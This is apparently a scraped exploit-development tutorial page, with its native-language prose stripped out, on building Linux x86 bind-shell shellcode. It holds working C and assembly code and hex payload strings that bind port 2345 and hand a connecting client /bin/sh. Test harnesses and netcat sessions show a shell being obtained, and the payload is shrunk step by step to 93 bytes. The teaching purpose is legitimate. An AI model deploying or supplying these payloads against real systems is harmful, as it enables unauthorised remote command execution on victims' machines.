


03.Bind Shellcode

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

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Bind Shellcode

C language

- C Port bind .
- Port .
 - socket() Socket .
 - bind() server socket .
 - listen() .
 - accept() .

portbind.c

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int server_sockfd, client_sockfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_addr_size;

    server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    server_addr.sin_family = AF_INET;                // IPv4
    server_addr.sin_port = htons(2345);              // port 2345
    server_addr.sin_addr.s_addr = INADDR_ANY;        // 32bit IPV4

    bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));

    listen(server_sockfd, 4);

    client_addr_size = sizeof(struct sockaddr_in);
    client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);
}
```

Check system call number

- Assembly code Assembly code .
- "__NR_socketcall" System call .

socketcall - socket system calls

```
lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall
#define __NR_socketcall 102
lazenca0x0@ubuntu:~$
```

- socketcall .
 - .
 - .

Synopsis

```
int socketcall(int call, unsigned long *args);
```

- "__NR_socketcall" .
 - , socketcall .

/usr/include/linux/net.h

```
#define SYS_SOCKET      1          /* sys_socket(2)          */
#define SYS_BIND        2          /* sys_bind(2)            */
#define SYS_CONNECT     3          /* sys_connect(2)         */
#define SYS_LISTEN      4          /* sys_listen(2)          */
#define SYS_ACCEPT      5          /* sys_accept(2)          */
#define SYS_GETSOCKNAME  6          /* sys_getsockname(2)     */
#define SYS_GETPEERNAME  7          /* sys_getpeername(2)     */
#define SYS_SOCKETPAIR  8          /* sys_socketpair(2)      */
#define SYS_SEND         9          /* sys_send(2)            */
#define SYS_RECV        10         /* sys_recv(2)            */
#define SYS_SENDB        11         /* sys_sendto(2)          */
#define SYS_RECVFROM    12         /* sys_recvfrom(2)        */
#define SYS_SHUTDOWN    13         /* sys_shutdown(2)        */
#define SYS_SETSOCKOPT   14         /* sys_setsockopt(2)      */
#define SYS_GETSOCKOPT   15         /* sys_getsockopt(2)      */
#define SYS_SENDMSG      16         /* sys_sendmsg(2)         */
#define SYS_RECVMSG      17         /* sys_recvmsg(2)         */
#define SYS_ACCEPT4     18         /* sys_accept4(2)         */
#define SYS_RECVMSG      19         /* sys_recvmsg(2)         */
#define SYS_SENDMSG      20         /* sys_sendmsg(2)         */
```

System-specific socket constants

- Assembly code C .

System-specific socket constants

Constants	Description	Value of constants
PF_LOCAL, AF_UNIX	.	1
PF_INET, AF_INET	IPv4 .	2
PF_INET6	IPv6 .	10
PF_PACKET	Low level socket .	17
SOCK_STREAM	TCP/IP .	1
SOCK_DGRAM	UDP/IP .	2
IPPROTO_IP	TCP	0

- header .

/usr/include/linux/in.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP
IPPROTO_IP = 0,          /* Dummy protocol for TCP          */
#define IPPROTO_IP      IPPROTO_IP
IPPROTO_IPIP = 4,        /* IPIP tunnels (older KA9Q tunnels use 94) */
#define IPPROTO_IPIP    IPPROTO_IPIP
IPPROTO_IPV6 = 41,       /* IPv6-in-IPv4 tunnelling          */
#define IPPROTO_IPV6    IPPROTO_IPV6
lazenca0x0@ubuntu:~$
```

/usr/include/bits/socket_type.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM
SOCK_STREAM = 1,          /* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
lazenca0x0@ubuntu:~$
```

/usr/include/bits/socket.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET
#define PF_INET          2          /* IP protocol family.  */
#define PF_INET6         10         /* IP version 6.  */
#define AF_INET          PF_INET
#define AF_INET6         PF_INET6
lazenca0x0@ubuntu:~$
```

Assembly code

- **Shellcode** .
 - .
 - .
 - EAX .
 - Client socket accept() client_addr, client_addr_size Null(0) .
 - Port Stack Little-endian format .
 - 2345 -> 0x0929 -> 0x2909

portbind-asm.s

BITS 32

```
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push BYTE 102                ; socketcall 102 Stack .
pop eax                      ; Stack EAX .
cdq                          ; EDX DWORD Null byte .
push dword 1                  ; socket 1 Stack .
pop ebx                      ; socketcall() 1 (EBX ) SYS_SOCKET(1) .
;
push edx                      ; socket() 3 0 Stack .
push BYTE 1                   ; socket() 2 SOCK_STREAM(1) Stack .
push BYTE 2                   ; socket() 1 PF_INET(2) Stack .
mov ecx, esp                  ; socketcall() 2 (ECX ) (ESP ) .
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
mov esi,eax                  ; ESI .

;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
push BYTE 0x66                ; socketcall 102 Stack .
pop eax                      ; Stack EAX .
inc ebx                      ; EBX 1 , INC 2 .
; socketcall() 1 SYS_BIND(2) .

;struct sockaddr_in server_addr
push edx                      ; server_addr.sin_family = AF_INET;
push WORD 0x2909              ; server_addr.sin_port = htons(2345);
push WORD bx                  ; server_addr.sin_addr.s_addr = INADDR_ANY;
;
mov ecx,esp                  ; ECX server_addr .
push BYTE 16                  ; bind() 3 16 Stack .
push ecx                      ; bind() 2 &server_addr Stack .
push esi                      ; bind() 1 server_sockfd Stack .
mov ecx, esp                  ; socketcall() 2 ECX .
int 0x80

;listen(server_sockfd, 4)
mov BYTE al,0x66             ;
inc ebx
inc ebx                      ; EBX 2 inc 2 4 .
; socketcall() 1 SYS_LISTEN(4) .
push ebx                      ; listen() 2 4 Stack .
push esi                      ; listen() 1 server_sockfd Stack .
mov ecx, esp                  ; socketcall() 2 ECX .
int 0x80

;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size)
;c = accept(s,0,0)
mov BYTE al, 0x66            ;
inc ebx                      ; socketcall() 1 SYS_ACCEPT(5) .
push edx                      ; bind() 3 0 Stack .
push edx                      ; bind() 2 Null Stack .
push esi                      ; bind() 1 server_sockfd Stack .
mov ecx, esp                  ; socketcall() 2 ECX .
int 0x80
;
```

Test program

pb.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **2345 port** .
 - **&** .
 - **netstat** **Port** .

Port bind

```
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -z execstack -m32 pb.c
lazenca0x0@ubuntu:~/Shell$ ./pb &
[1] 64826
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59
lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:2345          0.0.0.0:*            LISTEN      64826/pb
lazenca0x0@ubuntu:~/Shell$
```

Bind Shellcode(Socket + "/bin/sh")

C language

- **Port** , **Port** , **"/bin/sh"** .

dup2.c

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    ...
    client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);

    dup2(client_sockfd, 0);
    dup2(client_sockfd, 1);
    dup2(client_sockfd, 2);

    char *argv[] = { "/bin/sh", NULL };
    execve( "/bin/sh", argv, NULL );
}
```

- **dup2** .
 - **newfd** **oldfd** .

- newfd oldfd .
- , , .
 - (stdin), (stdout), (stderr) client_sockfd

SYNOPSIS

```
int dup2 (int oldfd , int newfd );
```

Check system call number

- dup2 63.

dup2 System call

```
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2
#define __NR_dup2 63
lazenca0x0@ubuntu:~/Shell$
```

Assembly code

dup2-asm.s

```
BITS 32

;s = socket(2,1,0)
;bind(s, [2, 31337, 0], 16)
;listen(s, 0)
;c = accept(s,0,0)
... ..

;dup2(client_sockfd, 0)
mov ebx, eax          ; accept()      EBX .
push BYTE 0x3F        ; socketcall   63 Stack .
pop eax              ; Stack      EAX .
xor ecx, ecx          ; dup2() 2  (0) .
int 0x80              ;

;dup2(client_sockfd, 1)
mov BYTE al, 0x3F      ; socketcall   63 AL .
inc ecx                ; dup2() 2  (1) .
int 0x80              ;

;dup2(client_sockfd, 2)
mov BYTE al, 0x3F      ; socketcall   63 AL .
inc ecx                ; dup2() 2  (2) .
int 0x80              ;

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11        ; execve()      11 EAX .
push edx              ;      Null Stack .
push 0x68732f2f        ; "//sh" Stack . Little-endian
push 0x6e69622f        ; "/bin" Stack . Little-endian
mov ebx, esp          ; execve() 1  ESP .
push edx              ; Stack Null .
mov edx, esp          ; execve() 3  Null  (ESP) .
push ebx              ; Stack "/bin//sh" (EBX) .
mov ecx, esp          ; execve() 2  (ESP,["/bin//sh",Null],[Null]) .
int 0x80              ;
```

Test program

portbindsh.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- `"/bin/sh"` .

Port Bind (Shell)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -z execstack -m32 portbindsh.c
lazenca0x0@ubuntu:~/Shell$ ./portbindsh &
[1] 65488
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                  ./portbindsh
lazenca0x0@ubuntu:~/Shell$
```

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

- `dup2()` .
 - `CMP` .

Conditional jump(It is commonly found after a cmp instruction)

Instructions	Meaning
cmp <Dest operand>, <Src operand >	.
je <Operand>	CMP .
jne <Operand>	CMP .
jl <Operand>	CMP .
jle <Operand>	CMP .
jnl <Operand>	CMP .
jnle <Operand>	CMP .
jg <Operand>	CMP .
jge <Operand>	CMP .
jng <Operand>	CMP .
jnge <Operand>	CMP .

C language & Assembly code

- .

i <= 2

```
for(int i=0;i <= 2;i++){  
    dup2(client_sockfd,i)  
}
```

- CMP, JLE C language .

jle-asm.s

```
;dup2(connected socket,{all three standard I/O file descriptors})  
mov ebx,eax ; accept() EBX .  
xor eax, eax ; EAX 0 .( )  
xor ecx, ecx ; ECX 0 .(dup2 2 )  
dup2_call:  
    mov BYTE al, 0x3F ; dup2 (63) AL .  
    int 0x80 ;  
    inc ecx ; dup2 2 (+1) .  
    cmp BYTE cl, 2 ; dup2 2 2 .  
    jle dup2_call ; dup2 2 2 dup2_call .
```

Test program

jle.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x
x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 98 byte .
 - Port bind Shellcode 101 byte .

Port bind shellcode (98 byte)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -z execstack -m32 jle.c
lazenca0x0@ubuntu:~/Shell$ ./jle &
[1] 65593
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                  ./jle
lazenca0x0@ubuntu:~/Shell$
```

Branch Control Structure (Zero Flag, Sign Flag)

- - Zero Flag, Sign Flag

ZF, SF

ZF	(Zero Flag)	0 (1)
SF	(Sign Flag)	(1)

Conditional jump

Instructions	Meaning
jz <Operand>	Operand .
jnz <Operand>	Operand .
js <Operand>	Operand .
jns <Operand>	Operand .

JZ vs JE

- JE CMP , JZ JE .
 - CMP DEC .
 - CMP DEC .

JZ vs JE	
Assembly code	Hex
cmp cl, 2 jle FunctionName;	"\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF"
dec ecx jns FunctionName;	"\x49\x0F\x89\xFC\xFF\xFF\xFF"

C language & Assembly code

- .

i < 0
<pre>for(int i=2;i < 0;i--){ dup2(client_sockfd,i) }</pre>

- DEC, JNS C language .

jns-asm.s
<pre>;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() EBX . xor eax, eax ; EAX 0 .() push BYTE 0x2 ; Stack 2 . pop ecx ; ECX 2 .(dup2 2) dup2_call: mov BYTE al, 0x3F ; dup2 (63) AL . int 0x80 ; dec ecx ; dup2 2 (-1) . jns dup2_call ; (0) dup2_call .</pre>

Test program

jns.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x
6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 96 byte .

Port bind shellcode (96 byte)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c
lazenca0x0@ubuntu:~/Shell$ ./jns &
[1] 65763
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                  ./jns
lazenca0x0@ubuntu:~/Shell$
```

xchg Instruction

- .

xchg Instruction

```
xchg <Dest operand>, <Src operand>
```

- XCHG EAX 3, EBX 2 .

Example

```
mov eax, 2
mov edx, 3
xchg eax, edx
```

- accept() EBX .

Code size

mov ebx,eax xor eax, eax	"\x89\xc3\x31\xc0"
xchg eax,ebx	"\x93"

Assembly code

```
xchg-asm.s

;dup2(connected socket,{all three standard I/O file descriptors}

xchg eax,ebx          ; accept()      EBX , EAX      (0x00000005) EAX  .
push BYTE 0x2          ; Stack 2  .
pop ecx                ; ECX  2  .(dup2  2  )
dup2_call:
    mov BYTE al, 0x3F      ; dup2      (63) AL  .
    int 0x80                ;
    dec ecx                ; dup2  2  (-1) .
    jns dup2_call          ; (0) dup2_call  .
```

Test program

```
xchg.c

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x
52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 93 byte .
o .


```
Port bind shellcode (93 byte)

lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c
lazenca0x0@ubuntu:~/Shell$ ./xchg &
[1] 65793
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                  ./xchg
lazenca0x0@ubuntu:~/Shell$
```

Related site

- <https://www.rcsecURITY.com/2014/07/slae-shell-bind-tcp-shellcode-linux-x86/>
- https://en.wikipedia.org/wiki/File_descriptor

Comments

 Unknown macro: 'html'



Unknown macro: 'html'